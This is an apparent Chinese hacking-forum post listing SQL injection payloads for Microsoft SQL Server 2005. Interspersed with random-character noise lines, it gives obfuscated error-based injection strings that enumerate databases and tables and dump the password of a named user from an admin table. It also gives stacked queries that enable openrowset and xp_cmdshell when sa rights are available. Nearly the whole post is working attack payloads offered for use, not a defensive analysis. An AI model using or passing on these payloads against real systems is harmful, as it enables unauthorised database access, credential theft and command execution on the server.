MSsql2005注入语句

admin

! c3 V% @1 Z$ k3 x4 }+ ~' _1 [

: Q/ u0 Y, q7 D& I; E[Copy to clipboard]CODE:
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
6 W0 x9 W+ q, ]# N& e2 o
爆表语句,somedb部份是所要列的数据库，红色数字1累加

7 p4 t) i! p$ g2 O# T' K2 V* A6 b
[Copy to clipboard]CODE:
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
* h* i, w/ Y2 T/ E4 A4 f6 F- M
爆字段语句，爆表admin里user='icerover'的密码段
8 Q! A: J0 o9 p" g' i/ O

0 v, m6 t9 a; U+ S6 l[Copy to clipboard]CODE:
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--

mssql2005默认没有开xp_cmdshell的，openrowset也不能用
# K% e) I+ ~  `9 I如果是sa权限，可以这样来开启
开启openrowset


[Copy to clipboard]CODE:
$ f( Y' u. d& j7 d* {/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
" D/ p& P; B3 ]- @/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--

开启xp_cmdshell


$ ^. O0 ?$ D" I0 X$ h, W$ m[Copy to clipboard]CODE:
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
: @& F0 \' g* T, REXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--

ok,over~~晚安